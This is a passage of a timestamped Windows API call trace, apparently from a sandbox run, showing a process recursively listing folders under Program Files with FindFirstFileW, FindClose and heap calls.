[0172.798] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0172.799] GetProcessHeap () returned 0x6a0000 [0172.799] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0172.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0173.023] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0173.023] GetProcessHeap () returned 0x6a0000 [0173.023] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0173.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0173.574] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0173.574] GetProcessHeap () returned 0x6a0000 [0173.574] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0173.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0173.847] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0173.849] GetProcessHeap () returned 0x6a0000 [0173.849] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0173.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0173.851] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0173.852] GetProcessHeap () returned 0x6a0000 [0173.852] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0173.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0173.853] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0173.853] GetProcessHeap () returned 0x6a0000 [0173.853] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0173.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.130] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.131] GetProcessHeap () returned 0x6a0000 [0174.131] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0174.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.315] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.316] GetProcessHeap () returned 0x6a0000 [0174.316] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0174.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.760] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.761] GetProcessHeap () returned 0x6a0000 [0174.761] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0174.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.918] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.919] GetProcessHeap () returned 0x6a0000 [0174.919] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0174.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0175.409] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0175.409] GetProcessHeap () returned 0x6a0000 [0175.409] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0175.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0175.885] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0175.886] GetProcessHeap () returned 0x6a0000 [0175.886] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0175.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0176.303] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0176.303] GetProcessHeap () returned 0x6a0000 [0176.303] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0176.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0176.319] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0176.320] GetProcessHeap () returned 0x6a0000 [0176.320] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0176.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0176.321] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0176.321] GetProcessHeap () returned 0x6a0000 [0176.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0176.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0176.324] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0176.325] GetProcessHeap () returned 0x6a0000 [0176.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0176.325] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0176.325] GetProcessHeap () returned 0x6a0000 [0176.325] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0176.326] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0176.326] GetProcessHeap () returned 0x6a0000 [0176.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0176.326] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0176.326] GetProcessHeap () returned 0x6a0000 [0176.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d04f8 | out: hHeap=0x6a0000) returned 1 [0176.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0176.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0176.333] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0176.334] GetProcessHeap () returned 0x6a0000 [0176.334] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0176.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0176.334] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0176.335] GetProcessHeap () returned 0x6a0000 [0176.335] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0176.335] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0176.335] GetProcessHeap () returned 0x6a0000 [0176.335] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d04f8 | out: hHeap=0x6a0000) returned 1 [0176.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0176.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0176.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0176.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0176.341] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0176.342] GetProcessHeap () returned 0x6a0000 [0176.342] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0176.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0176.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722748 [0176.344] FindClose (in: hFindFile=0x3722748 | out: hFindFile=0x3722748) returned 1 [0176.344] GetProcessHeap () returned 0x6a0000 [0176.344] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3701518 | out: hHeap=0x6a0000) returned 1 [0176.344] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0176.344] GetProcessHeap () returned 0x6a0000 [0176.344] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0176.344] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0176.344] GetProcessHeap () returned 0x6a0000 [0176.344] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0176.346] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0176.346] GetProcessHeap () returned 0x6a0000 [0176.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0176.346] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0176.346] GetProcessHeap () returned 0x6a0000 [0176.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d04f8 | out: hHeap=0x6a0000) returned 1 [0176.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0176.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0176.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0188.541] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0188.541] GetProcessHeap () returned 0x6a0000 [0188.541] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0188.541] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0188.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0188.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0188.642] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0188.643] GetProcessHeap () returned 0x6a0000 [0188.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0188.643] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0188.643] GetProcessHeap () returned 0x6a0000 [0188.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0188.643] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0188.643] GetProcessHeap () returned 0x6a0000 [0188.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0188.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, 